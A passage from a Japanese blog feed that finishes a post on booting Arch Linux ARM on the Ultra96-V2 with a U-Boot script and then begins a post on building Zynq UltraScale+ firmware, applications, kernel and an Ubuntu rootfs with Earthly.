U-Boot は、ブートデバイスに `boot.scr` という名前で保存されたスクリプトを実行してくれるみたいです。これを利用してカーネルや initramfs、Device Tree を読み込ませることにします。まず `boot.cmd` などの適当な名前でファイルを作成し、こんな感じに記述します[^addr]。`bootargs` にはカーネルの起動オプションを、`fdtfile` には Device Tree Blob のファイル名を指定します[^fdtfile]。Device Tree Blob のファイルは、`linux-zynqmp` パッケージが第1パーティションにインストールしたものが使えます。Ultra96-V2 向けに編集したものも `avnet-ultra96-v2-rev1.dtb` という名前で追加してあります。

    setenv bootargs earlycon clk_ignore_unused root=/dev/mmcblk0p2 rw rootwait
    
    setenv fdtfile xilinx/avnet-ultra96-v2-rev1.dtb
    
    if load ${devtype} ${devnum}:${distro_bootpart} 0x00200000 /Image; then
      if load ${devtype} ${devnum}:${distro_bootpart} 0x00100000 /dtbs/${fdtfile}; then
        if load ${devtype} ${devnum}:${distro_bootpart} 0x04000000 /initramfs-linux-zynqmp.img; then
          booti 0x00200000 0x04000000:${filesize} 0x00100000;
        fi;
      fi;
    fi

[^addr]: カーネル、`.dtb`、initramfs のアドレスは PetaLinux Tools で Linux 環境を作ったとき出力された `boot.scr` を参考にしています

[^fdtfile]: [Xilinx/u-boot-xlnx](https://github.com/Xilinx/u-boot-xlnx) には、`.dtb` の `compatible` から `fdtfile` の初期値を決める[こんな処理](https://github.com/Xilinx/u-boot-xlnx/blob/xilinx-v2020.2/board/xilinx/zynqmp/zynqmp.c#L462-L497)が実装されています。この関数では `&quot;xlnx,zynqmp-zcu104-revA&quot;` といった文字列から `&apos;,&apos;` よりあとを取り出し `&quot;xilinx/zynqmp-zcu104-revA.dtb&quot;` という文字列を作って `fdtfile` に指定しているのですが、`compatible` に `&quot;avnet,ultra96-rev1&quot;`、実際のファイル名が `avnet-ultra96-rev1.dtb` となる Ultra96 では適切なパスになってくれません。面倒だったので `boot.scr` から指定し直していますが、公式に何かしら報告したほうがいい事案な気もしています

U-Boot をビルドしたディレクトリに `mkimage` というツールが入っているはずです。これを使って、作成したスクリプトから `boot.scr` を出力します。出力した `boot.scr` も SD カードの第1パーティションにコピーすれば準備完了です。

    $ /path/to/u-boot-xlnx/tools/mkimage -c none -A arm64 -T script -d boot.cmd boot.scr
    $ sudo cp boot.scr /mnt/boot/

### 起動!

SD カードをアンマウントしてから取り外し、Ultra96 に入れます。

    $ sudo umount /mnt{/boot,}

Ultra96 の電源を入れると、シリアルコンソールからまず FSBL, PMU Firmware, Arm Trusted Firmware, U-Boot とメッセージが表示されます。

    Xilinx Zynq MP First Stage Boot Loader
    Release 2020.1   Nov  7 2020  -  11:51:03
    PMU Firmware 2020.1	Nov  7 2020   11:51:27
    PMU_ROM Version: xpbr-v8.1.0-0
    NOTICE:  ATF running on XCZU3EG/silicon v4/RTL5.1 at 0xfffea000
    NOTICE:  BL31: v2.2(release):
    NOTICE:  BL31: Built : 11:51:33, Nov  7 2020
    
    
    U-Boot 2020.01 (Nov 07 2020 - 11:51:38 +0000)
    
    Model: Avnet Ultra96 Rev1
    Board: Xilinx ZynqMP
    DRAM:  2 GiB
    PMUFW:	v1.1
    EL Level:	EL2
    Chip ID:	zu3eg
    (...)

その後 `boot.scr` が読み込まれ、カーネルの実行が始まります。最後に Arch Linux のログインプロンプトが出たら成功です。

    switch to partitions #0, OK
    mmc0 is current device
    Scanning mmc 0:1...
    Found U-Boot script /boot.scr
    524 bytes read in 17 ms (29.3 KiB/s)
    ## Executing script at 20000000
    22747648 bytes read in 1820 ms (11.9 MiB/s)
    40479 bytes read in 26 ms (1.5 MiB/s)
    8193054 bytes read in 668 ms (11.7 MiB/s)
    ## Flattened Device Tree blob at 00100000
       Booting using the fdt blob at 0x100000
       Loading Ramdisk to 7882f000, end 78fff41e ... OK
       Loading Device Tree to 000000000fff3000, end 000000000ffffe1e ... OK
 
    Starting kernel ...
    
    [    0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd034]
    [    0.000000] Linux version 5.4.0-1-ARCH (alarm@buildenv) (gcc version 10.2.0 (GCC)) #1 SMP Mon Nov 9 07:02:37 UTC 2020
    [    0.000000] Machine model: Avnet Ultra96-V2 Rev1
    [    0.000000] earlycon: cdns0 at MMIO 0x00000000ff010000 (options &apos;115200n8&apos;)
    [    0.000000] printk: bootconsole [cdns0] enabled
    
    (...)
    
    Arch Linux 5.4.0-1-ARCH (ttyPS0)
    
    alarm login:

## Tosainu/zynqmp-arch リポジトリ

GitHub リポジトリ [Tosainu/zynqmp-arch][zynqmp-arch] には、インストール方法で少し紹介したカーネルパッケージ `linux-zynqmp` や WiFi ドライバ `wilc3000-ultra96v2` などの `PKGBUILD` ファイルを置いています。また、これらのビルド済みパッケージを GitHub Pages を利用してホストしていて、`/etc/pacman.conf` などを設定すればこれらパッケージを`pacman` 経由でインストールできます。

Arch Linux ARM に限らず、公式でのサポートがない何かしらの Linux ディストリビューションを、とりあえずカーネルは動く環境に載せるだけなら、rootfs にクロスコンパイルしたカーネルなどを放り込むのが1番早いと思います。実際、最初はこの方法で環境を作りいろいろ検証していました。それでもわざわざパッケージ化しているのは、自分が長く安定した Arch Linux 環境を作りたかったからです。一般ユーザで書き込めない領域を雑に弄るのは、パッケージマネージャでの更新時に壊れるおそらく1番の原因です。変に壊れる環境にしたくないので、パッケージ化は絶対やりたかったです。

パッケージ化したうえにビルド済みパッケージの配布環境まで整備したのは、この記事や GitHub リポジトリを見て試そうする方がいるのかはわかりませんが、せっかくインストール方法を紹介するのならできる限り敷居の低い方法にしたいと考えていたためです。そうしたとき、`PKGBUILD` を公開するだけなのは微妙です。Arch Linux パッケージのビルドにはクロスコンパイラなどを使うのがほぼ想定されていないため、実機または QEMU などによるエミュレーションなどですでに Arch Linux ARM が動いている環境が必要になります。インストール方法の紹介で構築済みの環境を要求するのはアレですし、エミュレーション環境を用意しろというのも手間のかかる上に時間がかかるので微妙です。

ビルド済みパッケージを配布するうえで悩んだのが、それをどこでビルドするかです。自分は出どころ・ビルドのプロセスが明確でないバイナリを拾ってきて実行するのにうーむとなるタイプなので、せめてビルドからデプロイまでをオープンな場所でやらせたい思いがありました。ただ、前述したとおり Arch Linux ARM のパッケージのビルドには Arch Linux ARM が必要です。いろいろ悩みましたが、とりあえず GitHub Actions 上で QEMU + binfmt_misc の設定をし、そこで Arch Linux ARM な Docker イメージを作成したり、作成したイメージを使ったコンテナ上でパッケージをビルドしています。もちろんこれには結構時間がかかっていて、カーネルのビルドだけで4時間ぐらいかかります。Ultra96 実機でカーネルをビルドさせたら1時間半くらいだったので、それよりも遅いことになります。頻繁にビルドさせるつもりはないので困ってはいませんが、何かしらの改善はしたいなと思っています。Travis CI や AWS の Graviton Processor が載ってるインスタンスなど ARM な環境を試すだとか、Arch Linux パッケージのクロスコンパイル方法を確立するだとか、部分的に aarch64 だったり x86_64 だったりする特殊な環境を作ってみるだとか...

## おわり

Ultra96-V2 をはじめとする Zynq UltraScale+ MPSoC が載ってるボードは、単純に ARM なシングルボードコンピュータとして見てもおもしろいですし、そこから Zynq を活かせたらもっと楽しくなりそうだなと思っています。今回の Arch Linux ARM の件を通して ZU+ で動かすソフトウェアの幅がまた広がったので、今度は特に [Linux からの PL のリコンフィグレーション](https://xilinx-wiki.atlassian.net/wiki/spaces/A/pages/18841847/Solution+ZynqMP+PL+Programming) と組み合わせて何かやってみたいですね。

[zynqmp-arch]: https://github.com/Tosainu/zynqmp-arch
[binfmt-qemu-static]: https://aur.archlinux.org/packages/binfmt-qemu-static/
[qemu-user-static]: https://aur.archlinux.org/packages/qemu-user-static/
[qemu-wiki]: https://wiki.archlinux.org/index.php/QEMU#Chrooting_into_arm/arm64_environment_from_x86_64
[multiarch-qemu-static]: https://github.com/multiarch/qemu-user-static
[arch-chroot-man]: https://jlk.fjfi.cvut.cz/arch/manpages/man/extra/arch-install-scripts/arch-chroot.8.en</content:encoded></item><item><title>とにかく複雑な Zynq のソフトウェアを Earthly でビルドする</title><link>https://myon.info/blog/2022/09/19/earthly-zynqmp/</link><guid isPermaLink="true">https://myon.info/blog/2022/09/19/earthly-zynqmp/</guid><pubDate>Mon, 19 Sep 2022 00:00:00 GMT</pubDate><content:encoded>Zynq はソフトウェアだけにフォーカスしても構成するものが多く、動かすまでがとにかく大変です。Zynq UltraScale+ MPSoC をターゲットにして、APU で Linux を動かしつつ、RPU ではベアメタルアプリケーションを動かして相互に通信…とかやっていくのは実際気の遠くなる作業です。おまけに各種ツールが絶妙にアレなので、この規模にもなると edit-build-run のループを回すのに一苦労です。

Zynq に限らず、規模の大きくなったソフトウェアは edit-build-run あるいは build-test-release-deploy 一連のタスクが複雑になりがちです。複数のプログラミング言語やライブラリが絡むために異なるツールを呼び出さないといけなかったり、ビルドした個々のソフトウェアをパッケージするためにビルドツールを伴わないファイル操作などが絡んだり…。クリーンな状態から1度だけの実行を想定したものでよければ適当なスクリプトで解決するかもしれません。でも普段の開発での利用も想定すると、個々のビルドプロセスとその依存関係を適切に管理できたり、キャッシュなどを使って必要なところだけをいい感じにビルドし直してくれたりするもの、言葉にするなら *Build automation tool* がほしくなってきます。

なにかいいツールがないかなーと探し回り、あるときはいっそ自分で作ってやろうかと考えたこともありました。そんなときに見つけたのが [Earthly](https://earthly.dev/) です。これが自分が探していたものにかなり近く、Zynq ソフトウェアプロジェクトをはじめ様々な用途で使ってみていい感じだったので紹介しようとおもいます。

&lt;!--more--&gt;

## Earthly

[Earthly](https://earthly.dev/) はコンテナを活用した Build automation tool です。`Makefile` と `Dockerfile` を組み合わせたかのような `Earthfile` を見れば、これがどんなことをしてくれるものなのかすぐにイメージできるんじゃないかなと思います。実際、Earthly は buikdkit をバックエンドに使っていて、Docker の [multi-stage build](https://docs.docker.com/develop/develop-images/multistage-build/) にかなり近い動作をします。各ターゲットはそれぞれ独立したコンテナ環境で実行されるので、ちゃんと設定さえすればどの実行環境でもほぼ同じビルドが再現できますし、ある別のターゲットで作られたものやリポジトリ管理外のファイルを暗黙的に参照してしまうこともありません。また、ターゲット間の依存関係に問題なければ可能な限り並列で実行してくれたり、一度実行したターゲットは自身が依存するファイルや別のターゲットに変更がない限りキャッシュが効いてくれるのもポイントです。これだけの利点がありながら、Earthly の導入作業は基本的には普段の dockerize と同じ感覚なので、個々のビルド方法自体は大きく変えなくてよく、比較的敷居が低いのも強みです。

```Earthfile
hoge:
    FROM alpine
    RUN echo &quot;Hoge!&quot; &gt; awesome.txt
    SAVE ARTIFACT awesome.txt

fuga:
    FROM alpine
    RUN echo &quot;Fuga!&quot; &gt; awesome.txt
    SAVE ARTIFACT awesome.txt

myon:
    FROM alpine
    COPY +hoge/awesome.txt a.txt
    COPY +fuga/awesome.txt b.txt
    RUN cat a.txt b.txt &gt; awesome.txt
    SAVE ARTIFACT awesome.txt
```

Earthly のインストールは、[公式の手順](https://earthly.dev/get-earthly)の通りビルド済みのバイナリを使うのが簡単です。ただ自分なら不必要に root で作業したくないので、例えばインストール先は `~/.local/bin` にして、また `/usr` 下に書き込もうとしてくる `earthly bootstrap --with-autocomplete` は実行しないと思います[^earthly-selfbuilt]。

    $ curl -L https://github.com/earthly/earthly/releases/latest/download/earthly-linux-amd64 \
        -o ~/.local/bin/earthly
    $ chmod +x $_

[^earthly-selfbuilt]: もっと言えば、インターネットから拾ってきた実行ファイルをむやみに実行したくないのでソースコードからビルドしています。Earthly の最新機能を追うきっかけにもなりますしね。

インストールが済んだら早速 Earthly を動かしてみます。適当な場所に空のディレクトリを作り、そこに先ほどあげた `Earthfile` の例を保存してください。`Earthfile` に定義されたあるターゲットを実行するには `earthly +&lt;ターゲット名&gt;` を実行します。例えば `hoge` と `fuga` を実行するならそれぞれこうなります。

    $ earthly +hoge
    $ earthly +fuga

ターゲット `myon` は `hoge` と `fuga` で作ったファイルに依存しています。あるターゲットで作ったものを後段のタスクや Earthly 実行ホストに渡すには、そのファイルを [`SAVE ARTIFACT`](https://docs.earthly.dev/docs/earthfile#save-artifact) コマンドで指定します。そして、別のターゲットからそれを参照するには [`COPY`](https://docs.earthly.dev/docs/earthfile#copy) コマンドを使います。

実際に `myon` を動かしてみると、`myon` が依存するターゲットである `hoge` と `fuga` が実行されようとしたこと、またそれらターゲットは先程ビルドしたばかりなのでキャッシュが参照されたことがわかります。

```
 2. Build 🔧
————————————————————————————————————————————————————————————————————————————————

      alpine | --&gt; Load metadata linux/amd64
       +fuga | --&gt; FROM alpine
       +fuga | [██████████] 100% resolve docker.io/library/alpine@sha256:bc41182d7ef5ffc53a40b044e725193bc10142a1243f395ee852a8d9730fc2ad
       +fuga | *cached* --&gt; RUN echo &quot;Fuga!&quot; &gt; awesome.txt
       +hoge | *cached* --&gt; RUN echo &quot;Hoge!&quot; &gt; awesome.txt
       +hoge | --&gt; SAVE ARTIFACT awesome.txt +hoge/awesome.txt
       +fuga | --&gt; SAVE ARTIFACT awesome.txt +fuga/awesome.txt
       +myon | --&gt; COPY +hoge/awesome.txt a.txt
       +myon | --&gt; COPY +fuga/awesome.txt b.txt
       +myon | --&gt; RUN cat a.txt b.txt &gt; awesome.txt
      output | --&gt; exporting outputs
```

Earthly で作られたものを実行ホスト側に持ってくるには `earthly --artifact` コマンドを使います。`myon` で作ったファイル `awesome.txt` をカレントディレクトリ直下の `build/` にコピーするならこうなります。コピー先として渡すパスは末尾を必ず `/` にします。また先程カレントディレクトリと書きましたが、Earthly は相対パス受け取ったとき、それが `Earthfile` のあるディレクトリを基準としたものと解釈するのにも注意です。ターゲットからコピーするファイルの指定には `*` が使えます。たぶん Go 製アプリにありがちな [`filepath.Match`](https://pkg.go.dev/path/filepath#Match) を使うやつです。シェルの設定次第では `*` を glob として展開しちゃう場合があるのでエスケープしておくと安心です。

    $ earthly --artifact +myon/awesome.txt ./build/

    $ earthly --artifact +myon/\* ./build/

Earthly の主要操作はだいたいこんな感じです。基本的には `Dockerfile` と同じなので、Docker を使ったことさえあればあまり難しいことはないと思います。

## 実際に Zynq をターゲットにした何かを作ってみる

### L チカ…？

それでは本題、Earthly をどうやって Zynq UltraScale+ のソフトウェアプロジェクトに適用したかです。この紹介にあたって、こんなものを作ってみました。

&lt;video controls loop&gt;
    &lt;source src=&quot;./led.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;

一言でいえば、特に理由もなく面倒なことをしている L チカの亜種です。RPU で動く LED 制御のベアメタルアプリケーションと APU 上の Ubuntu で動くアプリケーションが IPI (Inter-Processor Interrupt) を飛ばし合います。APU から RPU への IPI で LED 点滅開始、その後 APU が RPU から飛んでくる IPI に応答し続けないと LED は消えてしまうというものです。題材を複雑にしすぎても準備が大変なだけだし、かといって簡単にしすぎてもおもしろくないし…と悩んだ末のものになります。ソースコードはすべて GitHub リポジトリ [Tosainu/earthly-zynqmp-example](https://github.com/Tosainu/earthly-zynqmp-example) にあり、この記事は [`322ce449`](https://github.com/Tosainu/earthly-zynqmp-example/tree/322ce449da698ac1db1641cf12240bbfaa36d6eb) をベースに書いています。

ちなみに、FPGA としての機能をほぼ使っていないのでブロックデザインは実質 PS だけです。Ultra96 ちゃん、XCZU3EG-1SBVA484E ちゃんごめんね…

### コンテナ内に必要なツールをそろえる

最初に書く `Earthfile` のターゲットが、ビルドなど全体のタスク実行に必要なツール類をインストールしてベースイメージのように使うものです。ほかのターゲットから `FROM +prep` みたいにして使います。

必要になるのは RPU と APU で動かすアプリケーションをビルドするクロスコンパイラ、ディスクイメージ作成のためにファイルシステムやパーティションテーブル操作系のツール、そして `.xsa` から BSP や FSBL, PMUFW などを生成するための Xilinx のツール類です。クロスコンパイラの大半と Xilinx のツール類は、PetaLinux Tools などで使われているらしい [xsct-trim](https://github.com/Xilinx/meta-xilinx-tools/blob/e2ff6325931b008565f558cb35ac38dfb01116c9/classes/xsct-tarball.bbclass#L7) から拝借しました。xsct-trim には AArch64 Linux 向けクロスコンパイラは入っていないので、かわりに Ubuntu の `crossbuild-essential-arm64` パッケージを使うことにしました。

```Earthfile
prep:
    FROM ubuntu:jammy@sha256:20fa2d7bb4de7723f542be5923b06c4d704370f0390e4ae9e1c833c8785644c1
    RUN \
        apt-get update &amp;&amp; \
        DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
            autoconf automake bc bison build-essential ca-certificates cmake cpio \
            crossbuild-essential-arm64 curl dbus-x11 dosfstools e2fsprogs fdisk flex gzip \
            kmod libncurses-dev libssl-dev libtinfo5 libtool-bin locales rsync xz-utils zstd &amp;&amp; \
        rm -rf /var/lib/apt/lists/* &amp;&amp; \
        sed -i &apos;s/^#\s*\(en_US.UTF-8\)/\1/&apos; /etc/locale.gen &amp;&amp; \
        dpkg-reconfigure --frontend noninteractive locales
    ARG XSCT_URL=https://petalinux.xilinx.com/sswreleases/rel-v2022/xsct-trim/xsct-2022-1.tar.xz
    ARG XSCT_SHA256SUM=e343a8b386398e292f636f314a057076e551a8173723b8ea0bc1bbd879c05259
    RUN --mount=type=tmpfs,target=/tmp \
        curl --no-progress-meter -L &quot;${XSCT_URL}&quot; -o /tmp/xsct.tar.xz &amp;&amp; \
        echo &quot;${XSCT_SHA256SUM} /tmp/xsct.tar.xz&quot; | sha256sum -c - &amp;&amp; \
        mkdir -p /opt/xsct &amp;&amp; \
        tar xf /tmp/xsct.tar.xz -C /opt/xsct --strip-components=2
    ENV PATH=&quot;/opt/xsct/bin:/opt/xsct/gnu/aarch64/lin/aarch64-none/bin:/opt/xsct/gnu/armr5/lin/gcc-arm-none-eabi/bin:/opt/xsct/gnu/microblaze/lin/bin:${PATH}&quot;
    WORKDIR /build

```

今回は `Earthfile` の中にこうしたターゲットを書いていますが、よりビルドの再現性を重視したいのであれば別のアプローチを取るべきです。`apt-get` などのコマンドは、パッケージの更新などのために実行するタイミングで結果が大きく変わりうるためです。対策の一例としては、この部分だけ独立したコンテナイメージ化し、レジストリで管理するなどがあると思います。

### xsct-trim で FSBL, PMUFW, BSP, Devicetree を出力させる

次は FSBL、PMUFW、RPU ベアメタルアプリケーションの BSP、そして Devicetree のテンプレートなど、Vitis でいう platform に相当するものたちを xsct-trim に入っている [XSCT](https://docs.xilinx.com/r/en-US/ug1400-vitis-embedded/XSCT-Commands) に出力させます。

いつもの XSCT コマンドを並べた TCL スクリプトを作っておきます。コマンドラインから `.xsa` ファイルのパスを受け取ったり、`Earthfile` 側から `.bit` ファイルを常に同じファイル名で扱えるように symlink を張るようにもしておきます。

```tcl
set xsa_file [lindex $argv 0]

hsi open_hw_design $xsa_file

set bit_file [lindex [hsi get_hw_files -filter {TYPE==bit}] 0]
file link -symbolic system.bit $bit_file

hsi set_repo_path embeddedsw

hsi create_sw_design fsbl -proc psu_cortexa53_0 -os standalone
hsi set_property CONFIG.stdin  psu_uart_1 [hsi get_os]
hsi set_property CONFIG.stdout psu_uart_1 [hsi get_os]
hsi add_library xilffs
hsi add_library xilpm
hsi add_library xilsecure
hsi generate_app -app zynqmp_fsbl -dir fsbl
hsi close_sw_design [hsi current_sw_design]

hsi create_sw_design pmufw -proc psu_pmu_0 -os standalone
hsi set_property CONFIG.stdin  psu_uart_1 [hsi get_os]
hsi set_property CONFIG.stdout psu_uart_1 [hsi get_os]
hsi add_library xilfpga
hsi add_library xilsecure
hsi add_library xilskey
hsi generate_app -app zynqmp_pmufw -dir pmufw
hsi close_sw_design [hsi current_sw_design]

hsi create_sw_design bsp_psu_cortexr5_0 -proc psu_cortexr5_0 -os standalone
hsi set_property CONFIG.stdin  psu_uart_1 [hsi get_os]
hsi set_property CONFIG.stdout psu_uart_1 [hsi get_os]
# hsi add_library xilffs
# hsi add_library xilfpga
# hsi add_library xilmailbox
# hsi add_library xilpm
# hsi add_library xilsecure
# hsi add_library xilskey
hsi generate_bsp -dir bsp_psu_cortexr5_0
hsi close_sw_design [hsi current_sw_design]

hsi set_repo_path device-tree-xlnx

hsi create_sw_design device-tree -proc psu_cortexa53_0 -os device_tree
hsi set_property CONFIG.console_device psu_uart_1 [hsi get_os]
hsi generate_target -dir device-tree
```

あとはこれを `xsct` に実行させれば OK です。ビルド時に可変なパラメータを宣言する [`ARG`](https://docs.earthly.dev/docs/earthfile#arg) で `.xsa` ファイルへのパスを渡せるようにしておきます。生成したファイルは全部 `SAVE ARTIFACT` して別のターゲットから取り出せるようにしておきます。FSBL, PMUFW, BSP のビルドはそれぞれ独立したターゲットにして、ターゲット単位のビルド並列化が効くようにします[^xlnx-makefile]。

```Earthfile
generate-src:
    ARG --required XSA_FILE

    FROM +xsct
    COPY generate.tcl .
    COPY $XSA_FILE system.xsa
    RUN USER=&quot;$(id -u -n)&quot; xsct -sdx -nodisp generate.tcl system.xsa
    SAVE ARTIFACT bsp_psu_cortexr5_0
    SAVE ARTIFACT device-tree
    SAVE ARTIFACT fsbl
    SAVE ARTIFACT pmufw
    SAVE ARTIFACT system.bit

fsbl.elf:
    FROM +prep
    COPY +generate-src/fsbl .
    RUN make
    SAVE ARTIFACT executable.elf /fsbl.elf

pmufw.elf:
    FROM +prep
    COPY +generate-src/pmufw .
    RUN make CFLAGS=&quot;-DENABLE_MOD_ULTRA96 -DULTRA96_VERSION=2 -DPMU_MIO_INPUT_PIN_VAL=1 -DBOARD_SHUTDOWN_PIN_VAL=1 -DBOARD_SHUTDOWN_PIN_STATE_VAL=1&quot;
    SAVE ARTIFACT executable.elf /pmufw.elf

bsp-r5-0:
    FROM +prep
    COPY +generate-src/bsp_psu_cortexr5_0 .
    RUN make
    SAVE ARTIFACT psu_cortexr5_0/include /include
    SAVE ARTIFACT psu_cortexr5_0/lib/*a /lib/
```

[^xlnx-makefile]: BSP とかの `Makefile` を見ると `-j10` がハードコーディングされていたり、一方でどう見てもターゲットの依存関係や並列ビルドであやしくなりそうな箇所がありますよね…。Earthly が持つ、ある条件での処理をコンテナ内で1度だけ実行するという特徴は、こういったヤツらのトラブルを避けるのにも有効です。

### RPU と APU のアプリケーション

RPU アプリケーションは、素直に Vitis を使ってテンプレートプロジェクトを作りました。xsct-trim と [Xilinx/embeddedsw](https://github.com/Xilinx/embeddedsw) の組み合わせでは standalone のテンプレートが出てこなかったためです。でもアプリケーションのビルドは Vitis ではなく自分たちでやりたいので、[`lscript.ld`](https://github.com/Tosainu/earthly-zynqmp-example/blob/27538797d4663eb2637bf9e8570dc23e7465f126/apps/r5_0/lscript.ld) など必要なものだけを持ってくるのと、コンパイラに渡しているオプションの確認が済んだら Vitis の出番は終了です。

コードは CMake でビルドできるようにしました。[`FindLibXil.cmake`](https://github.com/Tosainu/earthly-zynqmp-example/blob/27538797d4663eb2637bf9e8570dc23e7465f126/apps/r5_0/cmake/Modules/FindLibXil.cmake) を書いたので、`libxil.a` などを `find_package()` で探せるようになっています。BSP をビルドしたターゲット `bsp-r5-0` からライブラリとヘッダファイルをコピーしてきて、それを `FindLibXil.cmake` が探せるように `-DLibXil_ROOT=` でパスを渡します。またクロスコンパイラを使ってビルドするために、CMake に toolchain file を渡して指示します。CMake は `-S`, `-B`, `-DLibXil_ROOT` などがカレントディレクトリからの相対パスを受け付けてくれるのに対して、`--toolchain` は絶対パス、またはビルドディレクトリ・ソースディレクトリからの相対パスを要求してくるのに注意です。

```Earthfile
app-r5-0:
    FROM +prep
    COPY +bsp-r5-0/ libxil
    COPY apps/r5_0 src
    COPY apps/toolchain/armr5-none-eabi.cmake .
    RUN cmake \
        --toolchain $PWD/armr5-none-eabi.cmake \
        -S src \
        -B build \
        -DCMAKE_BUILD_TYPE=Release \
        -DCMAKE_INSTALL_PREFIX=install \
        -DLibXil_ROOT=libxil
    RUN cmake --build build -- install
    SAVE ARTIFACT install/* /
```

APU のアプリケーションも C++ で書いて CMake でビルドします。RPU と違って標準ライブラリと Linux の機能しか使わないので、クロスコンパイルのために toolchain file を渡す以外は特別な設定もなくいつもどおりです。

```Earthfile
app-a53:
    FROM +prep
    COPY apps/a53 src
    COPY apps/toolchain/aarch64-linux-gnu.cmake .
    RUN cmake \
        --toolchain $PWD/aarch64-linux-gnu.cmake \
        -S src \
        -B build \
        -DCMAKE_BUILD_TYPE=Release \
        -DCMAKE_INSTALL_PREFIX=install/usr
    RUN cmake --build build -- install
    SAVE ARTIFACT install/* /
```

### Linux カーネルの .deb パッケージ

組み込みで Linux を使うなら、やっぱりカーネルのコンフィグはプロジェクト単位で細かく設定したいです。ということでカーネルも一緒にビルドします。今回作る Linux 環境は Ubuntu なので、`make bindeb-pkg` で `.deb` パッケージを作ることにしました。

カーネルのコンフィグファイルは実行環境に依存しない `defconfig` 形式を使うのが望ましいのですが、手抜きをして `menuconfig` で作ったものをそのままリポジトリに入れています。`SAVE ARTIFACT` するのは作った `.deb` パッケージと、あとで `.dts` をコンパイルするときに使うヘッダファイルです。

```Earthfile
linux:
    FROM +prep
    RUN --mount=type=tmpfs,target=/tmp \
        curl --no-progress-meter -L https://github.com/Xilinx/linux-xlnx/archive/75872fda9ad270b611ee6ae2433492da1e22b688.tar.gz -o /tmp/archive.tar.gz &amp;&amp; \
        echo &apos;75e40c693484710cd7fc5cd972adb272414d196121c66a6ee2ca6ef762cb60c9  /tmp/archive.tar.gz&apos; | sha256sum -c &amp;&amp; \
        tar xf /tmp/archive.tar.gz --strip-components=1
    COPY linux/.config .
    ARG nproc=$(nproc)
    RUN CROSS_COMPILE=aarch64-linux-gnu- make -j$nproc ARCH=arm64 bindeb-pkg
    SAVE ARTIFACT include/dt-bindings /include/dt-bindings
    SAVE ARTIFACT /*.deb
```

### Ubuntu の rootfs

今回のアプリケーションを動かす環境として、Ubuntu は完全にオーバーキルです。それどころかブート時間やデータ量などの面でマイナスです。それでも Ubuntu にしたのは、構築後もその上で変更を加えられて、デスクトップ用途でも使ったことがあるだろう環境が動いてほしいという風潮を感じたためです。Linux From Scratch 的なことをしはじめると `crossbuild-essential-arm64` と少し相性が悪くなってくるのと、単純に説明が面倒になるからというのもあります。

Ubuntu 環境の構築には `mmdebstrap` を使ってみました。よく知られた `debootstrap` と比較して、処理時間が早いことや、より小さな環境を作りやすかったりするのがウリだそうです。

```Earthfile
rootfs-base.tar:
    FROM --platform=linux/arm64 ubuntu:jammy@sha256:1bc0bc3815bdcfafefa6b3ef1d8fd159564693d0f8fbb37b8151074651a11ffb
    RUN apt-get update &amp;&amp; \
        apt-get install -y --no-install-recommends mmdebstrap &amp;&amp; \
        rm -rf /var/lib/apt/lists/*
    COPY +linux/*.deb kernels/
    RUN mmdebstrap \
        --verbose \
        --components=&apos;main restricted universe multiverse&apos; \
        --variant=&apos;minbase&apos; \
        --include=&apos;apt dbus e2fsprogs init iproute2 iputils-ping kmod libstdc++6 parted sudo systemd-timesyncd udev&apos; \
        --customize-hook=&apos;cp -r kernels &quot;$1/&quot; &amp;&amp; chroot &quot;$1&quot; sh -c &quot;dpkg -i /kernels/*.deb&quot; &amp;&amp; rm -rf &quot;$1/kernels&quot;&apos; \
        --customize-hook=&apos;sed -i &quot;s/^#\s*\(%sudo\)/\1/&quot; &quot;$1/etc/sudoers&quot;&apos; \
        --customize-hook=&apos;chroot &quot;$1&quot; adduser --disabled-password user&apos; \
        --customize-hook=&apos;chroot &quot;$1&quot; adduser user sudo&apos; \
        --customize-hook=&apos;echo &quot;user:user&quot; | chroot &quot;$1&quot; chpasswd&apos; \
        --customize-hook=&apos;chroot &quot;$1&quot; passwd --expire user&apos; \
        --customize-hook=&apos;chroot &quot;$1&quot; passwd --lock root&apos; \
        --dpkgopt=&apos;path-exclude=/usr/share/man/*&apos; \
        --dpkgopt=&apos;path-include=/usr/share/man/man[1-9]/*&apos; \
        --dpkgopt=&apos;path-exclude=/usr/share/locale/*&apos; \
        --dpkgopt=&apos;path-include=/usr/share/locale/locale.alias&apos; \
        --dpkgopt=&apos;path-exclude=/usr/share/doc/*&apos; \
        --dpkgopt=&apos;path-include=/usr/share/doc/*/copyright&apos; \
        jammy rootfs-base.tar http://ports.ubuntu.com/ubuntu-ports
    # Use .tar format since SAVE ARTIFACT and COPY drop permissions for some reason even specifying with the --keep-own option...
    SAVE ARTIFACT rootfs-base.tar
```

これまでのターゲットと違い、`FROM` には `--platform=linux/arm64` を渡して 64 bit ARM の Ubuntu が設定されています。Earthly にビルドさせる前に qemu-user-static と binfnt_misc を設定しておきましょう。`mmdebstrap` にこれを勝手にやってくれる機能もあるようですが、Earthly の起動するコンテナ内でやってもらおうとするとたぶん `--privileged` が必要なので使っていません。`mmdebstrap` 出力形式はディレクトリではなく `.tar` にしています。`SAVE ARTIFACT` や `COPY` にディレクトリを渡したとき、`-–keep-own` を渡したとしてもファイルのオーナーが root に変わってしまう現象があったためです。ちなみに無圧縮な `.tar` なのは時間短縮のためです。このターゲット内での処理は QEMU を介して動いてしまうのを忘れてはいけません[^qemu-xz]。

[^qemu-xz]: 何も意識せずに `tar.xz` を指定して、やけに時間かかるなーってなる出来事がありました…

`mmdebstrap` は、`--customize-hook=` などのコマンドラインオプションで構築中の環境に対して任意のコマンドを実行できます。しかし、このターゲット内でのカスタマイズは最低限のもの、具体的には `chroot` を介さないと難しいものだけにとどめています。これは、なにか変更をしようとしたときに毎回 `mmdebstrap` が走ってしまうのを防ぐためです。いくら `mmdebstrap` が速さをアピールしているといえ、ファイル追加といった簡単なタスクに対しても毎回 `mmdebstrap` が走ってしまうのはかなり不便なので。

作った Ubuntu の `.tar` にファイルの追加をしているのがこのターゲットです。追加するのは APU のアプリケーションやその他設定ファイル類です。ファイルを追加するだけなら `tar` を展開しなくてもできます。

```Earthfile
rootfs.tar:
    FROM +prep
    COPY +rootfs-base.tar/rootfs-base.tar rootfs.tar
    COPY linux/rootfs rootfs
    COPY +app-a53/ rootfs
    RUN tar --append -f rootfs.tar --xattrs --xattrs-include=&apos;*&apos; -C rootfs .
    SAVE ARTIFACT rootfs.tar
```

### U-Boot

